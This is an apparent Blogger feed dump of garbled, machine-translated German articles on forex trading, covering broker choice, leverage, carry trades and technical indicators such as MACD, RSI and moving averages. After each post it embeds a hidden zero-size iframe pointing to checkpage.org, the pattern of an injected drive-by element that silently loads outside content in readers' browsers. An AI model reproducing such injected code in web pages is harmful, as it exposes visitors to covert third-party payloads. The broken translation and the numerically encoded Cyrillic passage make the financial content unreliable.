kaufen, an Stärke gewinnen wird Sie verkaufen, wird gegen sein Gegenstück schwächen. Währung als Anlageklasse Es gibt zwei verschiedene Merkmale für diese Klasse: Sie können die Zinsdifferenz zwischen zwei Währungen verdienen Sie können Wert in den Wechselkurs zu gewinnen Warum können wir Währungen handeln Bis zum Aufkommen des Internets, Devisenhandel war wirklich beschränkt auf Interbank-Aktivitäten im Namen ihrer Kunden. Allmählich gründeten die Banken proprietäre Schreibtische, um für ihre eigenen Konten zu handeln, und es folgten große multinationale Konzerne, Hedgefonds und hochverdiente Einzelpersonen. Mit der Verbreitung des Internets ist ein Einzelhandelsmarkt für einzelne Händler entstanden, der einen leichten Zugang zu den Devisenmärkten ermöglicht, entweder über die Banken selbst oder Broker, die einen Sekundärmarkt bilden. (Für mehr über die Grundlagen des Forex, check out 8 Basic Forex Market Concepts.) Verwirrung besteht über die Risiken in den Handelswährungen. Es wurde viel gesagt, dass der Interbankmarkt unreguliert und daher sehr riskant infolge mangelnder Aufsicht ist. Diese Wahrnehmung ist jedoch nicht ganz richtig. Ein besserer Ansatz für die Diskussion über das Risiko wäre, die Unterschiede zwischen einem dezentralen Markt und einem zentralisierten Markt zu verstehen und dann zu bestimmen, wann eine Regulierung angemessen wäre. Der Interbankmarkt besteht aus vielen Banken, die auf der ganzen Welt miteinander handeln. Die Banken selbst müssen ein souveränes Risiko - und Kreditrisiko feststellen und annehmen und haben dafür viel interne Revisionsprozesse, um sie so sicher wie möglich zu halten. Die Verordnungen sind branchenweit aufgestellt, um die jeweiligen Banken zu schützen und zu schützen. Da der Markt von jedem der teilnehmenden Banken angeboten wird, die Angebote und Angebote für eine bestimmte Währung anbieten, wird der Marktpreismechanismus durch Angebot und Nachfrage erreicht. Wegen der riesigen Ströme innerhalb des Systems ist es fast unmöglich für jeden Schurkenhändler, den Preis einer Währung zu beeinflussen, und zwar in dem heutigen Markt mit hohen Volumina, wobei zwischen zwei und drei Billionen Dollar pro Tag gehandelt werden, selbst die Zentralbanken können sich nicht bewegen Den Markt für eine lange Zeit ohne vollständige Koordination und Zusammenarbeit mit anderen Zentralbanken. (Für mehr Informationen auf der Interbank, lesen Sie den Foreign Exchange Interbank Market) Es wird versucht, ein ECN (Electronic Communication Network) zu schaffen, um Käufer und Verkäufer in eine zentrale Börse zu bringen, so dass die Preisgestaltung transparenter werden kann. Dies ist ein positiver Schritt für Einzelhändler, die einen Vorteil durch das Sehen wettbewerbsfähiger Preise und zentralisierte Liquidität zu gewinnen. Banken haben dieses Problem natürlich nicht und können daher dezentral bleiben. Händler mit direktem Zugang zu den Forex-Banken sind auch weniger exponiert als die Einzelhändler, die sich mit relativ kleinen und unregulierten Forex-Broker. Wer kann und manchmal re-zitieren Preise und sogar Handel gegen ihre eigenen Kunden. Es scheint, dass die Diskussion über die Regulierung entstanden ist, weil die Notwendigkeit, den unerschrockenen Einzelhandel zu schützen, der zu glauben, dass der Handel Forex ist ein sicherer Gewinn profitieren Schema geführt hat. Für den ernsthaften und etwas ausgebildeten Einzelhändler gibt es jetzt die Möglichkeit, Konten bei vielen der großen Banken oder die größere mehr liquide Broker zu eröffnen. Wie bei allen finanziellen Investitionen, zahlt es sich an die Vorbeugung emptor Regel zu erinnern - Käufer Vorsicht (Mehr über die ECN und andere Börsen, check out Getting To Know Die Börsen.) Vor-und Nachteile von Trading Forex Wenn Sie beabsichtigen, Währungen handeln, Und die bisherigen Bemerkungen zum Broker-Risiko, die Vor-und Nachteile des Devisenhandels sind wie folgt gelegt: 1. Die Devisenmärkte sind die größten in Bezug auf das Volumen gehandelt in der Welt und bieten daher die meisten Liquidität, so dass es einfach zu Geben Sie eine Position in einer der wichtigsten Währungen innerhalb eines Bruchteils einer Sekunde ein und verlassen sie. 2. Infolge der Liquidität und der Leichtigkeit, mit der ein Händler ein Geschäft betreten oder verlassen kann, bieten Banken und / oder Makler eine große Hebelwirkung. Was bedeutet, dass ein Händler kann ziemlich große Positionen mit relativ wenig Geld von ihren eigenen zu kontrollieren. Leverage im Bereich von 100: 1 ist nicht ungewöhnlich. Natürlich muss ein Händler verstehen, die Verwendung von Hebelwirkung und die Risiken, die Hebelwirkung auf ein Konto auferlegen kann. Leverage muss sorgfältig und vorsichtig angewendet werden, wenn es Vorteile bietet. Ein Mangel an Verständnis oder Weisheit in dieser Hinsicht kann leicht löschen ein Händler-Konto. 3. Ein weiterer Vorteil der Devisenmärkte ist die Tatsache, dass sie 24 Stunden rund um die Uhr handeln, beginnend jeden Tag in Australien und endend in New York. Die wichtigsten Zentren sind Sydney, Hongkong, Singapur, Tokio, Frankfurt, Paris, London und New York. 4. Handelswährungen sind makroökonomische Anstrengungen. Ein Devisenhändler muss ein großes Bild Verständnis für die Volkswirtschaften der verschiedenen Länder und ihre inter connectedness haben, um die Grundlagen, die Währung Werte zu erfassen. Für einige ist es einfacher, sich auf die Wirtschaftstätigkeit zu konzentrieren, um Handelsentscheidungen zu treffen, als die Nuancen und oft geschlossenen Umgebungen zu verstehen, die in den Aktien - und Futures-Märkten existieren, in denen mikroökonomische Aktivitäten verstanden werden müssen. Fragen über ein Unternehmen Management-Fähigkeiten, finanzielle Stärken, Marktchancen und branchenspezifisches Wissen ist nicht notwendig im Forex-Handel. Zwei Möglichkeiten, um die Forex-Märkte Ansatz Für die meisten Investoren oder Händler mit Börsenerfahrung, muss es Ashift in Haltung zum Übergang in oder Währungen als eine weitere Möglichkeit zur Diversifizierung hinzuzufügen. 1. Währung Handel wurde als aktive Händler Gelegenheit gefördert. Dies passt zu den Brokern, weil es bedeutet, sie verdienen mehr Spread, wenn der Trader mehr aktiv ist. 2. Der Devisenhandel wird auch als Leveraged-Handel gefördert und daher ist es für einen Händler leichter, ein Konto mit einem kleinen Geldbetrag zu eröffnen, der für den Börsenhandel notwendig ist. Neben dem Handel mit Gewinn oder Rendite kann der Devisenhandel zur Absicherung eines Aktienportfolios genutzt werden. Wenn man beispielsweise ein Aktienportfolio in einem Land baut, in dem es ein Potential für die Aktie gibt, um den Wert zu steigern, aber das Abwärtsrisiko in Bezug auf die Währung, zum Beispiel in den USA in der jüngsten Geschichte, dann könnte ein Händler das Aktienportfolio besitzen Und verkaufen den Dollar gegen den Schweizer Franken oder Euro. Auf diese Weise wird der Portfoliowert steigen und der negative Effekt des sinkenden Dollars ausgeglichen werden. Dies gilt für jene Investoren außerhalb der USA, die die Gewinne in ihre eigenen Währungen zurückführen werden. (Für ein besseres Verständnis des Risikos, lesen Sie Understanding Forex Risk Management.) Mit diesem Profil im Hinterkopf ist die Eröffnung eines Forex-Konto und Day-Trading oder Swing-Handel am häufigsten. Händler können versuchen, zusätzliches Geld unter Verwendung der Methoden und Ansätze in vielen der Artikel gefunden anderswo auf dieser Website und bei Brokern oder Banken Websites erläutert. Ein zweiter Ansatz für den Handel Währungen ist es, die Grundlagen und die längerfristigen Vorteile zu verstehen, wenn eine Währung in einer bestimmten Richtung Trend ist und bietet eine positive Zinsdifferenz, die eine Rendite für die Investition und eine Aufwertung des Währungswertes bietet. Diese Art von Handel ist bekannt als ein Carry-Handel. Zum Beispiel kann ein Händler den australischen Dollar gegen den japanischen Yen kaufen. Da der japanische Zinssatz .05 ist und der australische Zinssatz, der zuletzt berichtet wird, 4.75 ist, kann ein Händler 4 auf seinem Handel verdienen. (Für mehr lesen Sie bitte die Grundlagen der Forex Grundlagen.) Jedoch muss solch ein positives Interesse im Zusammenhang des tatsächlichen Wechselkurses des AUDJPY gesehen werden, bevor eine Interessenentscheidung gebildet werden kann. Wenn der australische Dollar sich gegen den Yen festigt, ist es angebracht, den AUDJPY zu kaufen und zu halten, um sowohl die Währungsaufwertung als auch die Zinsrendite zu gewinnen. Für die meisten Händler, vor allem diejenigen mit begrenzten Fonds, Day-Trading oder Swing-Handel für ein paar Tage auf einmal kann ein guter Weg, um die Devisenmärkte zu spielen. Für diejenigen mit längerfristigen Horizonten und größeren Fondspools kann ein Carry-Trade eine geeignete Alternative sein. In beiden Fällen muss der Trader wissen, wie man Charts für die Timing ihrer Trades verwenden, denn gutes Timing ist das Wesen des profitablen Handels. Und in beiden Fällen und in allen anderen Handelsaktivitäten muss der Trader seine eigenen Persönlichkeitsmerkmale gut genug kennen, damit er nicht gute Handelsgewohnheiten mit schlechten und impulsiven Verhaltensmustern verletzt. Lassen Sie Logik und guten gesunden Menschenverstand herrschen. Denken Sie daran, das alte französische Sprichwort, Fortune begünstigt den gut vorbereiteten Geist (Um festzustellen, welche Art von Handel am besten für Sie ist, sehen Sie, welche Art von Forex Trader Sie sind) Forex Guide - Eine Einführung in Forex Trading Willkommen auf dieser Website Diese Website wurde entwickelt, um Bieten Informationen für Händler und Investoren, die über den Devisenmarkt zu lernen und was sie anbieten können. Um Ihnen zu helfen, die Website besser zu navigieren, wählen Sie aus einer der folgenden drei Kategorien unten, um das Niveau des Wissens und der Erfahrung, die Sie über die Forex-Markt: Wählen Sie eine Kategorie: Ich habe keine Erfahrung von Trading: Wenn Sie absolut keine Erfahrung haben Der Forex-Markt oder Handel, gibt es zwei Möglichkeiten: Option 1: Öffnen Sie eine verwaltete Konto Option 2: Erfahren Sie, wie zu handeln Ich bin ein Selbst-Händler: Ich bin ein professioneller Händler, Hedgefonds, Makler oder Investor: Wenn Sie ein Profi sind Trader, Hedge-Fonds, Broker oder Investor, können Sie in erweiterte Software, verwaltete Konten, benutzerdefinierte Programmierung und dergleichen interessiert sein. Alle anderen Produkte und Dienstleistungen finden Sie im Menü auf der linken Seite. Option 1: Advanced Forex Software Option 2: Benutzerdefinierte Programmierung Option 3: Managed Forex Konten Option 4: Andere Produkte und Dienstleistungen wie Autotrading. Forex-Signale Automated Trading Systems Erste Schritte: Self-Traders Ihr erster Schritt sollte es sein, sich über den Markt und Handel im Allgemeinen zu erziehen. Lesen Sie Bücher, nehmen Sie einen Kurs, lernen Sie Strategien und Praxis, Praxis, Praxis Die meisten Broker bieten Demo-Konten, die Ihnen erlauben, Handel zu praktizieren, ohne echtes Geld zu riskieren. Der Nachteil davon ist, dass Sie oft nicht die gleiche Weise, die Sie, wenn Sie handelten mit echtem Geld Handel sind für einen allgemeinen Hintergrund auf dem Devisenmarkt, siehe die Forex-Markt-Snapshot. Trading-Tipps Regel 1. Lernen Sie oder entwickeln Sie eine profitable Trading-Strategie Dies ist Regel 1. Ohne es, werden Sie nicht gehen, überall Für Strategien und System-Ideen, besuchen Sie bitte Forex-ebooks. Forex kurse Forex-Bücher und manuelle forex Systeme Abschnitte. Regel 2. Verwenden Sie niedrige Leverage Mit übermäßiger Hebelwirkung kann der häufigste Grund, warum viele Händler ihre Konten ausblasen. Eine gute Faustregel ist nicht, Ihr Konto mehr als das Zehnfache seines Wertes zu nutzen. Zum Beispiel, wenn Sie hatte ein Handelskonto von 1.000, würden Sie nicht eröffnen Trades im Wert von mehr als 10.000. Für eine genauere Erläuterung der Hebelwirkung, siehe Forex-Grundlagen. Regel 3. Verwenden Sie nur Risk Capital Was bedeutet dies, dass Sie nur Geld, wenn verloren, würde keinen Einfluss auf Ihren Lebensstil in keiner Weise. Obwohl es schon oft gesagt wurde, ist dies eine einfache Regel, die jede harte Lektion erlernt weiter unten auf der Strecke, wenn gelernt jetzt vermeiden kann. Die Wahl eines Brokers Überraschenderweise kann dies eine der wichtigsten Entscheidungen, die Sie außerhalb der Entwicklung oder das Erlernen einer profitablen Strategie und nicht über-Nutzung Ihres Kontos. Sie müssen einen ethischen Makler, der nicht spielen Tricks mit ihren Preisen und stoppen Sie aus Ihrem Trades zu finden, um ihre Brieftasche mästen. Dies ist typisches Verhalten von unethischen Market Maker, die einen wirtschaftlichen Anreiz für Sie zu verlieren, wenn sie auf der gegenüberliegenden Seite Ihres Handels sind. Nicht alle Market Maker verhalten sich auf diese Weise, so ist es eine gute Idee, um Ihre Forschung auf alle Marktmacher und Makler tun, bevor Sie ein Konto mit ihnen. Besuchen Sie die Forex Broker Ratings Abschnitt dieser Website für einige nützliche Hilfe Managed Semi-Managed Investments Einige Marktteilnehmer können es vorziehen, nicht die Selbst-Trading-Route zu nehmen, sondern stattdessen für eine verwaltete Forex-Konto entscheiden. Automatisierte Handelssystem. Auto-Trading-Plattform oder Handels-Signal-Anbieter. Jede dieser Ansätze erfordert nicht viel Eingang von Ihnen, da die meisten der Entscheidungsfindung Prozess, wann zu öffnen und schließen Trades ist bis zu anderen überlassen. Ihre Entscheidungsfindung beruht auf der Auswahl eines Systems, Anpassung Ihrer Hebelwirkung, Platzierung Trades, oder die Bestimmung, welche Handelssignale zu nehmen. Wenn Sie ein verwaltetes Konto eröffnen, finden Sie heraus, wie viel Leverage sie verwenden, wenn sie Ihr Konto handeln. Übermäßige Hebelwirkung könnte zu großen Drawdowns führen, die Ihr Konto auslöschen könnten. Wenn Sie sich entscheiden, ein automatisiertes System, Autotrading-Plattform oder Forex Trading Signal Anbieter verwenden, wo Sie die Höhe der Hebelwirkung, stellen Sie sicher, dass es auf einem überschaubaren Niveau zu halten. Siehe Regel 2 oben für weitere Informationen. Es ist eine gute Idee, Ihre Investitionen unter mehreren Managed-Account-Providern und - systemen zu diversifizieren, um Ihre Renditen auszugleichen. - Wenn ein Konto hochgefahren ist, kann es sein, dass das andere nach unten geht und umgekehrt. Es gibt natürlich viele andere Faktoren und Fragen zu prüfen, wenn die Eröffnung eines verwalteten Forex-Konto oder die Wahl eines automatisierten System-oder Signal-Provider, aber diese sollten hoffentlich helfen Sie vermeiden, dass unvorhergesehene Umstände Mit diesen Ideen im Auge, Ein Weg, um Sie durch viele Aspekte der Retail-Spot-Forex-Markt, so können Sie in Ihrem eigenen Tempo zu lernen und besuchen Sie die Abschnitte, die Sie am meisten interessieren. Site-Struktur Diese Website ist in fünf Hauptbereiche unterteilt: Forex Services - Dieser Abschnitt bietet eine Reihe von Dienstleistungen für diejenigen, die bereits auf dem Markt suchen, um sie in ihrem Handel zu unterstützen und in den Forex-Markt sowie Dienstleistungen für Profis investieren. Forex Education - Dieser Abschnitt bietet einen Hintergrund für den Forex-Markt, damit Sie lernen, entdecken und sich über verschiedene Aspekte des Devisenmarktes informieren können. Forex Resources - Dieser Abschnitt bietet eine breite Palette an freien Ressourcen. Good Luck and Happy Trading Diese Website durchsuchen:</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-90280006776684745262017-08-06T01:38:00.000-07:002017-08-06T01:38:20.188-07:00An Forex<p>Tm Piyasalar Her Zaman Yannzda Piyasalar ve finans haberlerini gerek zamanl olarak takip edin, almsatm ilemlerinizi istediiniz yerde kolay bir ekilde gerekletirin. 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OANDA Japan Co. Ltd. 8212 108710771088107410991081 10761080108810771082109010861088 10871086 108610871077108810721094108011031084 1089 10921080108510721085108910861074109910841080 1080108510891090108810911084107710851090107210841080 1090108010871072 Kanto Lokale Finanz Bureau (Kin-sho) 108810771075. 8470 2137 1095108310771085 1040108910891086109410801072109410801080 1092108010851072108510891086107410991093 109211001102109510771088108910861074, 108810771075. 8470 1571.</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-7900799255290847882017-08-06T01:26:00.000-07:002017-08-06T01:26:04.661-07:00Anzahl Der Aktien Über 20 Tage Gleitenden Durchschnitt<p>Technische Analyse: Indikatoren und Oszillatoren Indikatoren sind Berechnungen, die auf dem Preis und dem Volumen eines Wertpapiers basieren, das solche Dinge wie Geldfluss, Trends, Volatilität und Dynamik misst. Indikatoren dienen als sekundäre Maßnahme zu den tatsächlichen Kursbewegungen und fügen zusätzliche Informationen zur Analyse von Wertpapieren hinzu. Indikatoren werden in zwei wesentlichen Weisen verwendet: um die Preisbewegung und die Qualität der Chartmuster zu bestätigen und um Kauf - und Verkaufssignale zu bilden. Es gibt zwei Arten von Indikatoren: Vor - und Nachlauf. Ein führender Indikator geht den Kursbewegungen voraus und gibt ihnen eine prädiktive Qualität, während ein nachlaufender Indikator ein Bestätigungsinstrument ist, weil er der Preisbewegung folgt. Ein führender Indikator wird angenommen, dass er der stärkste während Perioden von seitwärts oder nicht trending Handelsbereichen ist, während die nachlaufenden Indikatoren während der Trendperioden noch nützlich sind. Es gibt auch zwei Arten von Indikator-Konstruktionen: diejenigen, die in einem beschränkten Bereich fallen und diejenigen, die nicht. Die, die innerhalb eines Bereichs gebunden werden, werden Oszillatoren genannt - das sind die häufigsten Typen von Indikatoren. Oszillatorindikatoren haben einen Bereich, zum Beispiel zwischen Null und 100, und Signalperioden, in denen die Sicherheit überkauft ist (nahe 100) oder überverkauft (nahe Null). Unbegrenzte Indikatoren bilden immer noch Kauf - und Verkaufs-Signale zusammen mit Anzeige Stärke oder Schwäche, aber sie variieren in der Art, wie sie dies tun. Die beiden wichtigsten Wege, die Indikatoren verwendet werden, um kaufen und verkaufen Signale in der technischen Analyse ist durch Crossovers und Divergenz. Crossovers sind die beliebtesten und werden reflektiert, wenn entweder der Preis bewegt sich durch den gleitenden Durchschnitt, oder wenn zwei verschiedene gleitende Durchschnitte kreuzen einander. Die zweite Möglichkeit Indikatoren verwendet werden, ist durch Divergenz, was passiert, wenn die Richtung der Preisentwicklung und der Richtung des Indikatortrends sich in die entgegengesetzte Richtung bewegen. Dies signalisiert den Benutzern, dass die Richtung der Preisentwicklung schwächer wird. Indikatoren, die in der technischen Analyse verwendet werden, bieten eine äußerst nützliche Quelle für zusätzliche Informationen. Diese Indikatoren helfen, Schwung, Trends, Volatilität und verschiedene andere Aspekte in einer Sicherheit zu identifizieren, um die technische Analyse der Trends zu unterstützen. Es ist wichtig zu beachten, dass, während einige Händler einen einzigen Indikator ausschließlich für Kauf - und Verkaufssignale verwenden, sie am besten in Verbindung mit Preisbewegung, Chartmustern und anderen Indikatoren verwendet werden. Akkumulationsverteilungslinie Die Akkumulationsverteilungslinie ist eine der populäreren Volumenindikatoren, die Geldströme in einer Sicherheit misst. Dieser Indikator versucht, das Verhältnis von Kauf zu Verkauf durch Vergleich der Preisbewegung eines Zeitraums mit dem Volumen dieses Zeitraums zu messen. AccDist ((Schließen - Niedrig) - (Hoch - Schließen)) (Hoch - Niedrig) Perioden Volumen Dies ist ein nicht beschränkter Indikator, der lediglich eine laufende Summe über den Zeitraum des Wertpapiers hält. Händler suchen nach Trends in diesem Indikator, um Einblicke über die Menge des Einkaufs im Vergleich zum Verkauf eines Wertpapiers zu gewinnen. Wenn eine Sicherheit hat eine Akkumulationdistribution Linie, die nach oben tendiert, ist es ein Zeichen, dass es mehr Kauf als Verkauf. Durchschnittlicher Richtungsindex Der durchschnittliche Richtungsindex (ADX) ist ein Trendindikator, der verwendet wird, um die Stärke eines aktuellen Trends zu messen. Der Indikator wird selten verwendet, um die Richtung des aktuellen Trends zu identifizieren, kann aber den Schwung hinter Trends identifizieren. Der ADX ist eine Kombination aus zwei Preisbewegungsmaßnahmen: der positiven Richtungsanzeige (DI) und der negativen Richtungsanzeige (-DI). Der ADX misst die Stärke eines Trends, nicht aber die Richtung. Die DI misst die Stärke des Aufwärtstrends, während die - DI die Stärke des Abwärtstrends misst. Diese beiden Messungen sind ebenfalls zusammen mit der ADX-Linie aufgetragen. Gemessen auf einer Skala zwischen 0 und 100 zeigen Messwerte unter 20 einen schwachen Trend, während Messungen über 40 einen starken Trend signalisieren. Aroon Der Aroon-Indikator ist ein relativ neuer technischer Indikator, der 1995 geschaffen wurde. Der Aroon ist ein Trendindikator, der verwendet wird, um zu messen, ob sich ein Wert in einem Aufwärtstrend oder einem Abwärtstrend befindet und die Größe dieses Trends. Das Kennzeichen wird auch verwendet, um vorherzusagen, wann ein neuer Trend beginnt. Der Indikator besteht aus zwei Linien, einer Aroon-up-Linie (blaue Linie) und einer Aroon-down-Linie (rote gestrichelte Linie). Die Aroon up line misst die Zeit, die sie seit dem höchsten Preis während des Zeitraums gewesen ist. Die Aroon-Linie, auf der anderen Seite, misst die Zeitspanne seit dem niedrigsten Preis während des Zeitraums. Die Anzahl der Perioden, die bei der Berechnung verwendet werden, hängt vom Zeitrahmen ab, den der Benutzer analysieren möchte. Aroon-Oszillator Eine Erweiterung des Aroon ist der Aroon-Oszillator. Die einfach die Differenz zwischen den Aroon-Auf - und Abwärtslinien durch Subtrahieren der beiden Zeilen aufzeichnet. Diese Linie wird dann zwischen einem Bereich von -100 und 100 aufgetragen. Die Mittellinie bei Null im Oszillator wird als eine Haupt-Signalleitung betrachtet, die den Trend bestimmt. Je höher der Wert des Oszillators von dem Mittellinienpunkt ist, desto stärker ist die Sicherheit, je niedriger der Oszillatorwert von der Mittellinie ist, desto mehr Abwärtsdruck. Eine Trendumkehr wird signalisiert, wenn der Oszillator die Mittellinie durchquert. Wenn zum Beispiel der Oszillator von positiv nach negativ geht, wird ein Abwärtstrend bestätigt. Divergenz wird auch im Oszillator verwendet, um Trendumkehrvorhersagen vorherzusagen. Eine Umkehrwarnung wird gebildet, wenn sich der Oszillator und die Preisentwicklung in eine entgegengesetzte Richtung bewegen. Die Aroon-Leitungen und Aroon-Oszillatoren sind ziemlich einfache Konzepte zu verstehen, aber liefern mächtige Informationen über Trends. Dies ist ein weiterer großer Indikator zu jedem technischen Händler Arsenal hinzuzufügen. Moving Average Convergence Die gleitende durchschnittliche Konvergenzdivergenz (MACD) ist einer der bekanntesten und verwendeten Indikatoren in der technischen Analyse. Dieser Indikator besteht aus zwei exponentiellen gleitenden Durchschnitten, die dazu beitragen, den Schwung in der Sicherheit zu messen. Der MACD ist einfach der Unterschied zwischen diesen beiden gleitenden Mittelwerten gegen eine Mittellinie. Die Mittellinie ist der Punkt, an dem die beiden Bewegungsdurchschnitte gleich sind. Zusammen mit dem MACD und der Mittellinie ist ein exponentieller gleitender Durchschnitt der MACD selbst auf dem Diagramm aufgetragen. Die Idee hinter diesem Impulsindikator besteht darin, das kurzzeitige Momentum gegenüber dem längeren Impuls zu messen, um die momentane Impulsrichtung zu signalisieren. MACD kürzerer Termdurchschnitt - längerfristiger gleitender Durchschnitt Wenn der MACD positiv ist, signalisiert er, dass der kürzere bewegte Durchschnitt über dem längerfristigen gleitenden Durchschnitt liegt und eine Aufwärtsbewegung nahelegt. Das Gegenteil gilt, wenn die MACD negativ ist - dies signalisiert, dass der kürzere Term unterhalb der längeren und schlagen nach unten Impuls. Wenn die MACD-Linie über die Mittellinie kreuzt, signalisiert sie eine Kreuzung in den gleitenden Mittelwerten. Die gängigsten gleitenden Durchschnittswerte, die bei der Berechnung verwendet werden, sind die 26-Tage - und 12-Tage-Exponentialbewegungsdurchschnitte. Die Signalleitung wird üblicherweise unter Verwendung eines neun-Tage-exponentiellen gleitenden Durchschnitts der MACD-Werte erzeugt. Diese Werte können den Bedürfnissen des Technikers und der Sicherheit angepasst werden. Für volatilere Wertpapiere werden kürzere Mittelwerte verwendet, während weniger volatile Wertpapiere längeren Durchschnittswert aufweisen sollten. Ein weiterer Aspekt der MACD-Anzeige, die oft auf Diagrammen gefunden wird, ist das MACD-Histogramm. Das Histogramm ist auf der Mittellinie aufgetragen und durch Balken dargestellt. Jeder Balken ist die Differenz zwischen der MACD und der Signalleitung oder in den meisten Fällen der neuntägige exponentielle gleitende Durchschnitt. Je höher die Balken in beide Richtungen sind, desto mehr Dynamik hinter der Richtung, in der die Balken zeigen. Wie Sie in Abbildung 2 sehen können, wird eines der gebräuchlichsten Kaufsignale generiert, wenn der MACD die Signalleitung überkreuzt (siehe Abbildung 2). Die MACD-Divergenz, (Blaue gestrichelte Linie), während Verkaufssignale häufig auftreten, wenn der MACD das Signal unterschreitet. Relative Strength Index Die relative Stärke Index (RSI) ist eine der am meisten verwendeten und bekannten Impulsindikatoren in der technischen Analyse. RSI hilft, überkaufte und überverkaufte Bedingungen in einer Sicherheit zu signalisieren. Der Indikator wird in einem Bereich zwischen null und 100 aufgetragen. Ein Wert über 70 wird verwendet, um vorzuschlagen, dass eine Sicherheit überkauft ist, während ein Wert unter 30 verwendet wird, um vorzuschlagen, dass er überverkauft ist. Dieser Indikator hilft Händler, zu identifizieren, ob ein Sicherheitspreis unverhältnismäßig zu den gegenwärtigen Niveaus geschoben worden ist und ob eine Umkehrung auf der Weise sein kann. Die Standardberechnung für RSI verwendet 14 Börsentage als Basis, die an die Bedürfnisse des Benutzers angepasst werden können. Wenn die Handelsperiode angepasst wird, um weniger Tage zu verwenden, wird der RSI volatiler sein und wird für kürzere Trades verwendet werden. Relative Stärke Index und seine Fehler-Swing-Punkte und das Erlernen von Oszillatoren - Teil 1 und Teil 2.) On-Balance-Volumen Die On-Balance-Lautstärke (OBV) - Anzeige ist ein Bekannte technische Indikator, die Bewegungen in Volumen zu reflektieren. Es ist auch einer der einfachsten Volumen-Indikatoren zu berechnen und zu verstehen. Die OBV wird berechnet, indem das Gesamtvolumen für den Handelsperiode genommen und ihm ein positiver oder ein negativer Wert zugewiesen wird, abhängig davon, ob der Kurs während der Handelsperiode aufwärts oder abwärts ist. Wenn der Kurs während der Handelsperiode gestiegen ist, wird dem Volumen ein positiver Wert zugewiesen, während ein negativer Wert zugewiesen wird, wenn der Preis für den Zeitraum abgefallen ist. Die positive oder negative Volumensumme für den Zeitraum wird dann zu einer Summe addiert, die von dem Beginn der Messung akkumuliert wird. Es ist wichtig, sich auf den Trend im OBV zu konzentrieren - das ist wichtiger als der Istwert der OBV-Maßnahme. Diese Maßnahme erweitert das Basisvolumenmaß durch die Kombination von Volumen - und Preisbewegung. (Für weitere Informationen siehe Einführung in das On-Balance-Volumen.) Stochastischer Oszillator Der stochastische Oszillator ist einer der am meisten anerkannten Momentum-Indikatoren für die technische Analyse. Die Idee hinter diesem Indikator ist, dass in einem Aufwärtstrend, sollte der Preis in der Nähe der Höhen der Handelsspanne schließen, signalisieren Aufwärtsschwung in der Sicherheit. In Abwärtstrends sollte der Kurs in der Nähe der Tiefstände der Handelsspanne schließen, was eine Abwärtsbewegung signalisiert. Der stochastische Oszillator ist in einem Bereich von Null und 100 aufgetragen und signalisiert übergekaufte Bedingungen über 80 und Unterschreitungsbedingungen unter 20. Der stochastische Oszillator enthält zwei Zeilen. Die erste Zeile ist das K, das im wesentlichen die rohe Maßnahme ist, die verwendet wird, um die Idee des Impulses hinter dem Oszillator zu formulieren. Die zweite Zeile ist das D, was einfach ein gleitender Durchschnitt des K ist. Die D-Linie wird als die wichtigere der beiden Linien angesehen, da sie gesehen wird, um bessere Signale zu erzeugen. Der stochastische Oszillator verwendet in der Regel die letzten 14 Handelsperioden in seiner Berechnung, kann aber angepasst werden, um die Bedürfnisse des Benutzers zu erfüllen. (Weitere Informationen finden Sie in Getting To Know Oszillatoren - Teil 3.) Technische Analyse: Moving Averages Die meisten Chart-Muster zeigen eine Menge von Veränderungen in der Preisentwicklung. Dies kann es schwierig für Händler, eine Vorstellung von einem Sicherheiten insgesamt Trend zu bekommen. Eine einfache Methode Trader verwenden, um dies zu bekämpfen ist, gelten gleitende Durchschnitte. Ein gleitender Durchschnitt ist der Durchschnittspreis eines Wertpapiers über einen festgelegten Zeitraum. Durch die Plotierung eines durchschnittlichen Sicherheitspreises wird die Kursbewegung geglättet. Sobald die täglichen Schwankungen entfernt sind, sind Händler besser in der Lage, den wahren Trend zu identifizieren und erhöhen die Wahrscheinlichkeit, dass es zu ihren Gunsten zu arbeiten. (Um mehr zu erfahren, lesen Sie die Moving Averages Tutorial.) Arten von Moving Averages Es gibt eine Reihe von verschiedenen Arten von gleitenden Durchschnitten, die in der Art, wie sie berechnet werden, variieren, aber wie jeder Durchschnitt interpretiert wird, bleibt der gleiche. Die Berechnungen unterscheiden sich nur hinsichtlich der Gewichtung, die sie auf die Preisdaten setzen, wobei sie sich von der gleichen Gewichtung jedes Preispunktes zu mehr Gewicht auf die jüngsten Daten setzen. Die drei häufigsten Arten von gleitenden Durchschnitten sind einfach. Linear und exponentiell. Simple Moving Average (SMA) Dies ist die häufigste Methode, um den gleitenden Durchschnitt der Preise zu berechnen. Es nimmt einfach die Summe aller vergangenen Schlusskurse über den Zeitraum und teilt das Ergebnis durch die Anzahl der Preise, die in der Berechnung verwendet werden. Zum Beispiel werden in einem 10-Tage gleitenden Durchschnitt die letzten 10 Schlusskurse addiert und dann durch 10 geteilt. Wie Sie in Abbildung 1 sehen können, ist ein Händler in der Lage, den Durchschnitt weniger auf wechselnde Preise durch Erhöhung der Zahl zu reagieren Der in der Berechnung verwendeten Fristen. Die Erhöhung der Anzahl der Zeiträume in der Berechnung ist eine der besten Möglichkeiten, um die Stärke des langfristigen Trends und die Wahrscheinlichkeit, dass es umgekehrt zu messen. Viele Personen argumentieren, dass die Nützlichkeit dieser Art von Durchschnitt begrenzt ist, da jeder Punkt in der Datenreihe die gleiche Auswirkung auf das Ergebnis hat, unabhängig davon, wo er in der Sequenz auftritt. Die Kritiker argumentieren, dass die jüngsten Daten wichtiger sind und deshalb auch eine höhere Gewichtung haben sollte. Diese Art der Kritik war einer der Hauptfaktoren, die zur Erfindung anderer Formen von gleitenden Durchschnitten führten. Linearer gewichteter Mittelwert Dieser gleitende Durchschnittsindikator ist der kleinste der drei Fälle und wird verwendet, um das Problem der gleichen Gewichtung zu lösen. Der lineare gewichtete gleitende Durchschnitt wird berechnet, indem man die Summe aller Schlusskurse über einen bestimmten Zeitraum hinweg multipliziert und mit der Position des Datenpunkts multipliziert und dann durch die Summe der Anzahl von Perioden dividiert. Beispielsweise wird in einem fünftägigen linear gewichteten Durchschnitt der heutige Schlusskurs mit fünf, yesterdays um vier multipliziert und so weiter, bis der erste Tag im Periodenbereich erreicht ist. Diese Zahlen werden dann addiert und durch die Summe der Multiplikatoren dividiert. Exponential 